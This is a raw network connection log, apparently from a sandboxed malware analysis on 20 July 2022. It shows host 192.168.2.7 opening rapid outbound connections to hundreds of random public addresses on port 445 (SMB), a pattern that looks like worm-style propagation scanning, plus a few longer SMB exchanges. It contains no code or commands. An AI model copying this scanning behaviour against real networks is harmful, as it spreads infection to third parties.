Jul 20, 2022 15:45:29.400588989 CEST	53402	445	192.168.2.7	27.75.16.184
Jul 20, 2022 15:45:29.432503939 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:29.434963942 CEST	443	53430	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.435136080 CEST	53430	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.504086018 CEST	53432	445	192.168.2.7	107.186.141.14
Jul 20, 2022 15:45:29.504878044 CEST	53433	445	192.168.2.7	188.18.139.53
Jul 20, 2022 15:45:29.507339001 CEST	53430	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.507364035 CEST	443	53430	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.511077881 CEST	53430	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.511106968 CEST	443	53430	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.593259096 CEST	443	53430	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.593347073 CEST	53430	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.593354940 CEST	443	53430	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.593404055 CEST	53430	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.594527006 CEST	53430	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.594548941 CEST	443	53430	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.594566107 CEST	53430	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.594597101 CEST	53430	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.602200031 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:29.602226019 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:29.602246046 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:29.602391005 CEST	53419	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:29.602416992 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:29.602432966 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:29.602507114 CEST	53419	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:29.602596998 CEST	53419	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:29.617021084 CEST	53419	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:29.617083073 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:29.617106915 CEST	53419	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:29.617122889 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:29.622699022 CEST	53434	445	192.168.2.7	47.5.119.247
Jul 20, 2022 15:45:29.623364925 CEST	53435	445	192.168.2.7	149.37.183.239
Jul 20, 2022 15:45:29.624068022 CEST	53436	445	192.168.2.7	151.190.159.151
Jul 20, 2022 15:45:29.624794006 CEST	53437	445	192.168.2.7	165.184.45.151
Jul 20, 2022 15:45:29.625521898 CEST	53438	445	192.168.2.7	52.198.173.137
Jul 20, 2022 15:45:29.636857033 CEST	53439	445	192.168.2.7	155.157.75.52
Jul 20, 2022 15:45:29.651776075 CEST	53440	445	192.168.2.7	134.66.41.0
Jul 20, 2022 15:45:29.654467106 CEST	53444	445	192.168.2.7	124.37.79.53
Jul 20, 2022 15:45:29.655180931 CEST	53445	445	192.168.2.7	17.222.180.140
Jul 20, 2022 15:45:29.659424067 CEST	53451	445	192.168.2.7	164.97.112.14
Jul 20, 2022 15:45:29.660195112 CEST	53452	445	192.168.2.7	28.69.90.130
Jul 20, 2022 15:45:29.663434029 CEST	53457	445	192.168.2.7	177.135.181.43
Jul 20, 2022 15:45:29.664166927 CEST	53458	445	192.168.2.7	48.126.160.84
Jul 20, 2022 15:45:29.664889097 CEST	53459	445	192.168.2.7	125.82.134.96
Jul 20, 2022 15:45:29.681996107 CEST	445	53402	27.75.16.184	192.168.2.7
Jul 20, 2022 15:45:29.697154045 CEST	53460	445	192.168.2.7	201.18.79.175
Jul 20, 2022 15:45:29.724277020 CEST	53463	445	192.168.2.7	212.36.124.115
Jul 20, 2022 15:45:29.724396944 CEST	53469	445	192.168.2.7	79.143.88.123
Jul 20, 2022 15:45:29.724529982 CEST	53473	445	192.168.2.7	60.13.121.161
Jul 20, 2022 15:45:29.724549055 CEST	53472	445	192.168.2.7	64.62.13.185
Jul 20, 2022 15:45:29.724684954 CEST	53474	445	192.168.2.7	168.48.35.53
Jul 20, 2022 15:45:29.724720001 CEST	53475	445	192.168.2.7	59.75.224.44
Jul 20, 2022 15:45:29.724822998 CEST	53477	445	192.168.2.7	7.196.42.184
Jul 20, 2022 15:45:29.724873066 CEST	53478	445	192.168.2.7	128.168.187.20
Jul 20, 2022 15:45:29.724961996 CEST	53480	445	192.168.2.7	215.176.3.122
Jul 20, 2022 15:45:29.725080967 CEST	53482	445	192.168.2.7	27.172.44.106
Jul 20, 2022 15:45:29.856271982 CEST	443	49718	204.79.197.200	192.168.2.7
Jul 20, 2022 15:45:29.898710966 CEST	445	53472	64.62.13.185	192.168.2.7
Jul 20, 2022 15:45:29.902911901 CEST	53176	445	192.168.2.7	38.85.220.156
Jul 20, 2022 15:45:30.103677988 CEST	53226	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:30.293767929 CEST	53486	445	192.168.2.7	146.193.243.211
Jul 20, 2022 15:45:30.294747114 CEST	53484	445	192.168.2.7	192.9.16.96
Jul 20, 2022 15:45:30.371921062 CEST	53490	445	192.168.2.7	149.212.105.209
Jul 20, 2022 15:45:30.400631905 CEST	53472	445	192.168.2.7	64.62.13.185
Jul 20, 2022 15:45:30.573218107 CEST	445	53472	64.62.13.185	192.168.2.7
Jul 20, 2022 15:45:30.574781895 CEST	53494	445	192.168.2.7	188.18.139.54
Jul 20, 2022 15:45:30.575397015 CEST	53495	445	192.168.2.7	107.186.141.15
Jul 20, 2022 15:45:30.733424902 CEST	53496	445	192.168.2.7	43.22.66.1
Jul 20, 2022 15:45:30.733457088 CEST	53497	445	192.168.2.7	66.59.37.194
Jul 20, 2022 15:45:30.733561039 CEST	53499	445	192.168.2.7	126.148.95.66
Jul 20, 2022 15:45:30.733576059 CEST	53498	445	192.168.2.7	162.221.182.209
Jul 20, 2022 15:45:30.733685017 CEST	53500	445	192.168.2.7	175.214.118.233
Jul 20, 2022 15:45:30.745841980 CEST	53501	445	192.168.2.7	26.25.235.158
Jul 20, 2022 15:45:30.761878014 CEST	53502	445	192.168.2.7	167.114.202.176
Jul 20, 2022 15:45:30.764874935 CEST	53506	445	192.168.2.7	5.118.187.205
Jul 20, 2022 15:45:30.765978098 CEST	53507	445	192.168.2.7	174.77.191.223
Jul 20, 2022 15:45:30.770009041 CEST	53513	445	192.168.2.7	180.130.99.71
Jul 20, 2022 15:45:30.770730019 CEST	53514	445	192.168.2.7	119.17.131.198
Jul 20, 2022 15:45:30.774221897 CEST	53519	445	192.168.2.7	133.220.208.231
Jul 20, 2022 15:45:30.774944067 CEST	53520	445	192.168.2.7	158.96.89.77
Jul 20, 2022 15:45:30.775924921 CEST	53521	445	192.168.2.7	58.191.23.227
Jul 20, 2022 15:45:30.857561111 CEST	53522	445	192.168.2.7	88.174.243.175
Jul 20, 2022 15:45:30.859556913 CEST	53526	445	192.168.2.7	93.158.33.3
Jul 20, 2022 15:45:30.859688997 CEST	53531	445	192.168.2.7	145.140.154.32
Jul 20, 2022 15:45:30.859837055 CEST	53533	445	192.168.2.7	210.107.202.252
Jul 20, 2022 15:45:30.859890938 CEST	53535	445	192.168.2.7	166.65.2.116
Jul 20, 2022 15:45:30.860049009 CEST	53536	445	192.168.2.7	181.51.16.81
Jul 20, 2022 15:45:30.860142946 CEST	53537	445	192.168.2.7	56.128.229.99
Jul 20, 2022 15:45:30.860174894 CEST	53539	445	192.168.2.7	191.31.209.219
Jul 20, 2022 15:45:30.860249043 CEST	53540	445	192.168.2.7	21.185.13.145
Jul 20, 2022 15:45:30.860358000 CEST	53543	445	192.168.2.7	96.104.219.131
Jul 20, 2022 15:45:30.860430956 CEST	53544	445	192.168.2.7	95.113.168.178
Jul 20, 2022 15:45:30.867433071 CEST	445	53502	167.114.202.176	192.168.2.7
Jul 20, 2022 15:45:31.103899002 CEST	53230	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:31.400649071 CEST	53502	445	192.168.2.7	167.114.202.176
Jul 20, 2022 15:45:31.425828934 CEST	53548	445	192.168.2.7	194.195.146.135
Jul 20, 2022 15:45:31.426634073 CEST	53549	445	192.168.2.7	95.113.25.101
Jul 20, 2022 15:45:31.505922079 CEST	445	53502	167.114.202.176	192.168.2.7
Jul 20, 2022 15:45:31.512074947 CEST	53552	445	192.168.2.7	114.7.143.50
Jul 20, 2022 15:45:31.651562929 CEST	53556	445	192.168.2.7	107.186.141.16
Jul 20, 2022 15:45:31.652355909 CEST	53557	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:31.739736080 CEST	445	53557	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:31.739861012 CEST	53557	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:31.740015030 CEST	53557	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:31.742763996 CEST	53558	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:31.823457956 CEST	445	53558	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:31.823651075 CEST	53558	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:31.825315952 CEST	53558	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:31.827573061 CEST	445	53557	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:31.835823059 CEST	445	53557	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:31.835968018 CEST	53557	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:31.854978085 CEST	53559	445	192.168.2.7	163.161.241.86
Jul 20, 2022 15:45:31.858035088 CEST	53560	445	192.168.2.7	131.128.104.22
Jul 20, 2022 15:45:31.860029936 CEST	53561	445	192.168.2.7	197.136.159.71
Jul 20, 2022 15:45:31.860148907 CEST	53562	445	192.168.2.7	166.51.24.222
Jul 20, 2022 15:45:31.860215902 CEST	53563	445	192.168.2.7	184.135.75.47
Jul 20, 2022 15:45:31.872076035 CEST	53564	445	192.168.2.7	83.40.221.217
Jul 20, 2022 15:45:31.886815071 CEST	53565	445	192.168.2.7	88.13.169.246
Jul 20, 2022 15:45:31.887674093 CEST	53566	445	192.168.2.7	5.86.212.131
Jul 20, 2022 15:45:31.892086029 CEST	53571	445	192.168.2.7	78.218.90.174
Jul 20, 2022 15:45:31.893138885 CEST	53572	445	192.168.2.7	21.163.228.113
Jul 20, 2022 15:45:31.897610903 CEST	53578	445	192.168.2.7	87.231.249.14
Jul 20, 2022 15:45:31.898843050 CEST	53579	445	192.168.2.7	58.60.252.204
Jul 20, 2022 15:45:31.902646065 CEST	53583	445	192.168.2.7	86.216.200.204
Jul 20, 2022 15:45:31.903547049 CEST	53584	445	192.168.2.7	23.171.221.16
Jul 20, 2022 15:45:31.935537100 CEST	445	53558	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:31.943543911 CEST	445	53558	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:31.955293894 CEST	53558	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:31.979958057 CEST	53585	445	192.168.2.7	99.33.125.80
Jul 20, 2022 15:45:31.983349085 CEST	53590	445	192.168.2.7	115.129.209.204
Jul 20, 2022 15:45:31.986814022 CEST	53594	445	192.168.2.7	194.101.24.69
Jul 20, 2022 15:45:31.990153074 CEST	53598	445	192.168.2.7	218.32.68.113
Jul 20, 2022 15:45:31.991604090 CEST	53600	445	192.168.2.7	191.72.80.33
Jul 20, 2022 15:45:31.992331982 CEST	53601	445	192.168.2.7	2.131.16.143
Jul 20, 2022 15:45:31.993077040 CEST	53602	445	192.168.2.7	204.103.103.95
Jul 20, 2022 15:45:31.993813992 CEST	53603	445	192.168.2.7	137.101.20.157
Jul 20, 2022 15:45:31.996402979 CEST	53606	445	192.168.2.7	20.243.224.45
Jul 20, 2022 15:45:31.997088909 CEST	53607	445	192.168.2.7	56.177.223.117
Jul 20, 2022 15:45:32.039479017 CEST	445	53558	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:32.048196077 CEST	53558	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:32.131570101 CEST	445	53558	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:32.131783962 CEST	53558	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:32.215483904 CEST	445	53558	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:32.215601921 CEST	53558	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:32.299525023 CEST	445	53558	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:32.299642086 CEST	53558	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:32.545326948 CEST	53611	445	192.168.2.7	69.233.113.183
Jul 20, 2022 15:45:32.547100067 CEST	53612	445	192.168.2.7	207.237.114.112
Jul 20, 2022 15:45:32.637592077 CEST	53614	445	192.168.2.7	217.71.91.59
Jul 20, 2022 15:45:32.729664087 CEST	53618	445	192.168.2.7	107.186.141.17
Jul 20, 2022 15:45:32.982513905 CEST	53620	445	192.168.2.7	203.158.203.240
Jul 20, 2022 15:45:32.982635975 CEST	53622	445	192.168.2.7	14.201.189.138
Jul 20, 2022 15:45:32.982680082 CEST	53623	445	192.168.2.7	130.117.171.174
Jul 20, 2022 15:45:32.982682943 CEST	53621	445	192.168.2.7	104.99.51.131
Jul 20, 2022 15:45:32.982775927 CEST	53624	445	192.168.2.7	75.119.235.66
Jul 20, 2022 15:45:33.005865097 CEST	53625	445	192.168.2.7	146.126.216.177
Jul 20, 2022 15:45:33.017623901 CEST	53629	445	192.168.2.7	195.50.127.95
Jul 20, 2022 15:45:33.017786026 CEST	53635	445	192.168.2.7	177.5.10.102
Jul 20, 2022 15:45:33.017827988 CEST	53634	445	192.168.2.7	210.248.54.182
Jul 20, 2022 15:45:33.017901897 CEST	53632	445	192.168.2.7	191.243.145.50
Jul 20, 2022 15:45:33.018039942 CEST	53640	445	192.168.2.7	184.142.20.214
Jul 20, 2022 15:45:33.018081903 CEST	53641	445	192.168.2.7	178.135.236.167
Jul 20, 2022 15:45:33.027636051 CEST	53644	445	192.168.2.7	178.220.134.39
Jul 20, 2022 15:45:33.027648926 CEST	53645	445	192.168.2.7	71.56.16.9
Jul 20, 2022 15:45:33.101794958 CEST	53646	445	192.168.2.7	117.135.9.37
Jul 20, 2022 15:45:33.117780924 CEST	53651	445	192.168.2.7	101.130.182.74
Jul 20, 2022 15:45:33.117994070 CEST	53655	445	192.168.2.7	37.240.32.83
Jul 20, 2022 15:45:33.118046045 CEST	53656	445	192.168.2.7	129.243.83.46
Jul 20, 2022 15:45:33.118138075 CEST	53659	445	192.168.2.7	108.95.248.78
Jul 20, 2022 15:45:33.118289948 CEST	53661	445	192.168.2.7	94.198.129.57
Jul 20, 2022 15:45:33.118442059 CEST	53664	445	192.168.2.7	177.146.201.9
Jul 20, 2022 15:45:33.118455887 CEST	53662	445	192.168.2.7	152.36.2.165
Jul 20, 2022 15:45:33.120075941 CEST	53663	445	192.168.2.7	46.241.208.88
Jul 20, 2022 15:45:33.121758938 CEST	53666	445	192.168.2.7	89.47.197.220
Jul 20, 2022 15:45:33.122061968 CEST	53665	445	192.168.2.7	74.30.86.181
Jul 20, 2022 15:45:33.447312117 CEST	445	53664	177.146.201.9	192.168.2.7
Jul 20, 2022 15:45:33.669142962 CEST	53671	445	192.168.2.7	59.223.213.27
Jul 20, 2022 15:45:33.669281006 CEST	53672	445	192.168.2.7	214.148.237.169
Jul 20, 2022 15:45:33.760932922 CEST	53676	445	192.168.2.7	9.120.188.18
Jul 20, 2022 15:45:33.807842016 CEST	53680	445	192.168.2.7	107.186.141.18
Jul 20, 2022 15:45:34.104103088 CEST	53664	445	192.168.2.7	177.146.201.9
Jul 20, 2022 15:45:34.105401993 CEST	53682	445	192.168.2.7	193.169.204.176
Jul 20, 2022 15:45:34.106189966 CEST	53683	445	192.168.2.7	50.235.87.250
Jul 20, 2022 15:45:34.107002020 CEST	53684	445	192.168.2.7	217.217.132.191
Jul 20, 2022 15:45:34.107913971 CEST	53685	445	192.168.2.7	123.203.129.254
Jul 20, 2022 15:45:34.108709097 CEST	53686	445	192.168.2.7	89.56.53.2
Jul 20, 2022 15:45:34.129911900 CEST	53687	445	192.168.2.7	137.54.48.132
Jul 20, 2022 15:45:34.130701065 CEST	53688	445	192.168.2.7	67.223.42.78
Jul 20, 2022 15:45:34.138282061 CEST	53693	445	192.168.2.7	68.21.85.130
Jul 20, 2022 15:45:34.138416052 CEST	53695	445	192.168.2.7	58.228.193.35
Jul 20, 2022 15:45:34.138474941 CEST	53697	445	192.168.2.7	11.11.95.92
Jul 20, 2022 15:45:34.138499975 CEST	53696	445	192.168.2.7	117.147.175.215
Jul 20, 2022 15:45:34.138772964 CEST	53703	445	192.168.2.7	210.156.24.92
Jul 20, 2022 15:45:34.153506994 CEST	53705	445	192.168.2.7	157.149.221.43
Jul 20, 2022 15:45:34.153531075 CEST	53707	445	192.168.2.7	126.83.213.139
Jul 20, 2022 15:45:34.222328901 CEST	53708	445	192.168.2.7	32.200.9.80
Jul 20, 2022 15:45:34.232372046 CEST	53714	445	192.168.2.7	179.114.71.194
Jul 20, 2022 15:45:34.257150888 CEST	53718	445	192.168.2.7	71.54.250.32
Jul 20, 2022 15:45:34.257232904 CEST	53719	445	192.168.2.7	199.86.95.219
Jul 20, 2022 15:45:34.257232904 CEST	53717	445	192.168.2.7	140.176.7.227
Jul 20, 2022 15:45:34.257399082 CEST	53723	445	192.168.2.7	117.19.88.107
Jul 20, 2022 15:45:34.257414103 CEST	53724	445	192.168.2.7	20.128.149.199
Jul 20, 2022 15:45:34.257924080 CEST	53727	445	192.168.2.7	183.84.174.144
Jul 20, 2022 15:45:34.257947922 CEST	53728	445	192.168.2.7	105.38.117.130
Jul 20, 2022 15:45:34.258044958 CEST	53729	445	192.168.2.7	119.229.58.198
Jul 20, 2022 15:45:34.258131027 CEST	53730	445	192.168.2.7	177.155.156.176
Jul 20, 2022 15:45:34.427670956 CEST	445	53664	177.146.201.9	192.168.2.7
Jul 20, 2022 15:45:34.560760975 CEST	445	53714	179.114.71.194	192.168.2.7
Jul 20, 2022 15:45:34.793217897 CEST	53733	445	192.168.2.7	98.8.175.239
Jul 20, 2022 15:45:34.795527935 CEST	53737	445	192.168.2.7	209.44.253.195
Jul 20, 2022 15:45:34.886411905 CEST	53738	445	192.168.2.7	169.45.194.85
Jul 20, 2022 15:45:34.889180899 CEST	53742	445	192.168.2.7	107.186.141.19
Jul 20, 2022 15:45:35.104163885 CEST	53714	445	192.168.2.7	179.114.71.194
Jul 20, 2022 15:45:35.217829943 CEST	53744	445	192.168.2.7	16.29.1.159
Jul 20, 2022 15:45:35.219472885 CEST	53746	445	192.168.2.7	192.142.31.112
Jul 20, 2022 15:45:35.219505072 CEST	53745	445	192.168.2.7	132.175.80.112
Jul 20, 2022 15:45:35.219640017 CEST	53747	445	192.168.2.7	99.133.153.20
Jul 20, 2022 15:45:35.219669104 CEST	53748	445	192.168.2.7	219.230.195.194
Jul 20, 2022 15:45:35.233546019 CEST	53749	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:35.245742083 CEST	53750	445	192.168.2.7	219.48.118.147
Jul 20, 2022 15:45:35.253411055 CEST	53756	445	192.168.2.7	219.11.3.82
Jul 20, 2022 15:45:35.253479958 CEST	53757	445	192.168.2.7	180.148.201.160
Jul 20, 2022 15:45:35.253603935 CEST	53759	445	192.168.2.7	10.246.72.98
Jul 20, 2022 15:45:35.253784895 CEST	53764	445	192.168.2.7	120.12.248.114
Jul 20, 2022 15:45:35.253864050 CEST	53765	445	192.168.2.7	179.24.224.149
Jul 20, 2022 15:45:35.254401922 CEST	443	49717	204.79.197.222	192.168.2.7
Jul 20, 2022 15:45:35.282809973 CEST	53768	445	192.168.2.7	19.233.92.215
Jul 20, 2022 15:45:35.282841921 CEST	53769	445	192.168.2.7	217.233.173.8
Jul 20, 2022 15:45:35.319204092 CEST	445	53749	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:35.319298029 CEST	53749	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:35.319529057 CEST	53749	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:35.339409113 CEST	53771	445	192.168.2.7	202.193.30.6
Jul 20, 2022 15:45:35.371138096 CEST	53776	445	192.168.2.7	26.99.47.203
Jul 20, 2022 15:45:35.371706009 CEST	53777	445	192.168.2.7	92.217.173.92
Jul 20, 2022 15:45:35.372179031 CEST	53778	445	192.168.2.7	42.22.41.218
Jul 20, 2022 15:45:35.372730970 CEST	53779	445	192.168.2.7	86.60.126.56
Jul 20, 2022 15:45:35.374496937 CEST	53782	445	192.168.2.7	8.56.133.162
Jul 20, 2022 15:45:35.375092983 CEST	53783	445	192.168.2.7	47.239.192.79
Jul 20, 2022 15:45:35.376725912 CEST	53786	445	192.168.2.7	65.99.247.30
Jul 20, 2022 15:45:35.377810955 CEST	53788	445	192.168.2.7	8.14.191.20
Jul 20, 2022 15:45:35.378428936 CEST	53789	445	192.168.2.7	51.118.184.196
Jul 20, 2022 15:45:35.391431093 CEST	53793	445	192.168.2.7	24.213.150.129
Jul 20, 2022 15:45:35.404225111 CEST	445	53749	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:35.411154985 CEST	445	53749	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:35.411323071 CEST	53749	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:35.442034960 CEST	445	53714	179.114.71.194	192.168.2.7
Jul 20, 2022 15:45:35.499124050 CEST	445	53749	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:35.499327898 CEST	53749	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:35.587250948 CEST	445	53749	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:35.587451935 CEST	53749	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:35.671184063 CEST	445	53749	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:35.671284914 CEST	53749	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:35.732085943 CEST	53796	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:35.755244970 CEST	445	53749	188.18.139.55	192.168.2.7
Jul 20, 2022 15:45:35.755347013 CEST	53749	445	192.168.2.7	188.18.139.55
Jul 20, 2022 15:45:35.812916040 CEST	445	53796	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:35.813152075 CEST	53796	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:35.813405991 CEST	53796	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:35.815392971 CEST	53797	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:35.896279097 CEST	445	53797	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:35.896388054 CEST	53797	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:35.896619081 CEST	53797	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:35.896667004 CEST	445	53796	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:35.904659033 CEST	445	53796	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:35.904807091 CEST	53796	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:35.918108940 CEST	53799	445	192.168.2.7	190.220.88.231
Jul 20, 2022 15:45:35.920403004 CEST	53803	445	192.168.2.7	88.208.133.240
Jul 20, 2022 15:45:35.971726894 CEST	53804	445	192.168.2.7	107.186.141.20
Jul 20, 2022 15:45:35.980376005 CEST	445	53797	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:35.988281012 CEST	445	53797	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:35.992435932 CEST	53797	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:36.012464046 CEST	53805	445	192.168.2.7	132.221.59.249
Jul 20, 2022 15:45:36.076442957 CEST	445	53797	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:36.076858997 CEST	53797	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:36.160372019 CEST	445	53797	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:36.160619020 CEST	53797	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:36.244375944 CEST	445	53797	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:36.244574070 CEST	53797	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:36.328325987 CEST	445	53797	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:36.328411102 CEST	53797	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:36.340719938 CEST	53810	445	192.168.2.7	20.63.68.47
Jul 20, 2022 15:45:36.353296995 CEST	53811	445	192.168.2.7	200.36.110.151
Jul 20, 2022 15:45:36.353329897 CEST	53812	445	192.168.2.7	143.4.92.174
Jul 20, 2022 15:45:36.353468895 CEST	53814	445	192.168.2.7	14.167.178.180
Jul 20, 2022 15:45:36.353477955 CEST	53813	445	192.168.2.7	66.248.236.207
Jul 20, 2022 15:45:36.399311066 CEST	53816	445	192.168.2.7	3.252.208.118
Jul 20, 2022 15:45:36.399985075 CEST	53817	445	192.168.2.7	84.34.246.36
Jul 20, 2022 15:45:36.400264025 CEST	53822	445	192.168.2.7	104.192.106.204
Jul 20, 2022 15:45:36.400368929 CEST	53823	445	192.168.2.7	135.243.25.209
Jul 20, 2022 15:45:36.400495052 CEST	53824	445	192.168.2.7	157.155.82.130
Jul 20, 2022 15:45:36.400863886 CEST	53830	445	192.168.2.7	66.19.204.0
Jul 20, 2022 15:45:36.401324987 CEST	53825	445	192.168.2.7	199.235.89.169
Jul 20, 2022 15:45:36.406907082 CEST	53833	445	192.168.2.7	152.69.178.37
Jul 20, 2022 15:45:36.407243967 CEST	53834	445	192.168.2.7	3.98.193.70
Jul 20, 2022 15:45:36.520802021 CEST	53840	445	192.168.2.7	27.173.232.26
Jul 20, 2022 15:45:36.523057938 CEST	53843	445	192.168.2.7	28.176.174.98
Jul 20, 2022 15:45:36.525851965 CEST	53844	445	192.168.2.7	75.113.108.189
Jul 20, 2022 15:45:36.528512001 CEST	53846	445	192.168.2.7	54.28.122.20
Jul 20, 2022 15:45:36.533390045 CEST	53848	445	192.168.2.7	154.239.220.88
Jul 20, 2022 15:45:36.533535957 CEST	53850	445	192.168.2.7	59.90.78.63
Jul 20, 2022 15:45:36.533731937 CEST	53854	445	192.168.2.7	64.69.41.60
Jul 20, 2022 15:45:36.533822060 CEST	53853	445	192.168.2.7	136.172.111.228
Jul 20, 2022 15:45:36.534024000 CEST	53856	445	192.168.2.7	131.38.51.79
Jul 20, 2022 15:45:36.534085035 CEST	53855	445	192.168.2.7	2.153.97.218
Jul 20, 2022 15:45:36.534090996 CEST	53858	445	192.168.2.7	41.196.83.72
Jul 20, 2022 15:45:36.565316916 CEST	445	53853	136.172.111.228	192.168.2.7
Jul 20, 2022 15:45:37.028230906 CEST	53861	445	192.168.2.7	140.186.84.238
Jul 20, 2022 15:45:37.030626059 CEST	53865	445	192.168.2.7	122.53.59.25
Jul 20, 2022 15:45:37.043827057 CEST	53867	445	192.168.2.7	107.186.141.21
Jul 20, 2022 15:45:37.104286909 CEST	53853	445	192.168.2.7	136.172.111.228
Jul 20, 2022 15:45:37.134448051 CEST	445	53853	136.172.111.228	192.168.2.7
Jul 20, 2022 15:45:37.138631105 CEST	53870	445	192.168.2.7	148.122.210.125
Jul 20, 2022 15:45:37.173721075 CEST	445	53861	140.186.84.238	192.168.2.7
Jul 20, 2022 15:45:37.464467049 CEST	53874	445	192.168.2.7	164.203.118.145
Jul 20, 2022 15:45:37.464997053 CEST	53875	445	192.168.2.7	203.31.40.206
Jul 20, 2022 15:45:37.465537071 CEST	53876	445	192.168.2.7	62.23.113.212
Jul 20, 2022 15:45:37.466029882 CEST	53877	445	192.168.2.7	126.30.144.232
Jul 20, 2022 15:45:37.466523886 CEST	53878	445	192.168.2.7	144.135.158.167
Jul 20, 2022 15:45:37.533179998 CEST	53880	445	192.168.2.7	91.217.156.165
Jul 20, 2022 15:45:37.534193039 CEST	53881	445	192.168.2.7	43.13.31.228
Jul 20, 2022 15:45:37.542644978 CEST	53887	445	192.168.2.7	12.126.89.111
Jul 20, 2022 15:45:37.542673111 CEST	53886	445	192.168.2.7	98.172.226.244
Jul 20, 2022 15:45:37.542814970 CEST	53890	445	192.168.2.7	220.205.1.107
Jul 20, 2022 15:45:37.542817116 CEST	53888	445	192.168.2.7	35.219.23.62
Jul 20, 2022 15:45:37.543052912 CEST	53896	445	192.168.2.7	88.112.124.77
Jul 20, 2022 15:45:37.543080091 CEST	53897	445	192.168.2.7	19.128.94.203
Jul 20, 2022 15:45:37.543248892 CEST	53898	445	192.168.2.7	23.177.5.11
Jul 20, 2022 15:45:37.635451078 CEST	445	53880	91.217.156.165	192.168.2.7
Jul 20, 2022 15:45:37.636545897 CEST	53900	445	192.168.2.7	136.95.1.239
Jul 20, 2022 15:45:37.637255907 CEST	53901	445	192.168.2.7	220.40.236.126
Jul 20, 2022 15:45:37.640358925 CEST	53904	445	192.168.2.7	60.219.167.18
Jul 20, 2022 15:45:37.652795076 CEST	53910	445	192.168.2.7	70.135.242.22
Jul 20, 2022 15:45:37.653594017 CEST	53911	445	192.168.2.7	220.48.151.143
